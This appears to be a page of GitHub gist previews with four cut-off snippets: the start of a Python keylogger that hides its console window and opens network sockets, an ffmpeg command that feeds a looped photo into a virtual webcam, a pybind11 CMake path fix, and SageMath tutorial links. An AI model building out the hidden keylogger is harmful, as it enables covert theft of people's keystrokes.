This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import socket | |
| from threading import * | |
| from pynput.keyboard import Key, Listener | |
| import win32console, win32gui | |
| window=win32console.GetConsoleWindow() | |
| win32gui.ShowWindow(window, 0) | |
| serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # sudo modprobe v4l2loopback | |
| ffmpeg -re -stream_loop -1 -i ~/Pictures/Webcam/output.mp4 -vf format=yuv420p -map 0:v -f v4l2 /dev/video2 | |
| # notes | |
| # make vid by ffmpeg -framerate 1 -i input.jpg -c:v libx264 -r 30 output.mp4 where input.jpg is ur photo |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| modify /usr/lib/python3.13/site-packages/pybind11/share/cmake/pybind11/pybind11Targets.cmake | |
| INTERFACE_INCLUDE_DIRECTORIES "/usr/lib/python3.13/site-packages/pybind11/include" | |
| #INTERFACE_INCLUDE_DIRECTORIES "${_IMPORT_PREFIX}/include" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #1. Intro to sagemath | |
| # - number theory | |
| # https://doc.sagemath.org/html/en/thematic_tutorials/numtheory_rsa.html#numtheory-rsa | |
| # - latex | |
| # https://doc.sagemath.org/html/en/tutorial/latex.html | |
| # - abelian group | |
| # https://doc.sagemath.org/html/en/tutorial/tour_groups.html | |
| # - algebraic geometry | |
| # https://doc.sagemath.org/html/en/tutorial/tour_advanced.html#algebraic-geometry | |
| # - elliptic curves |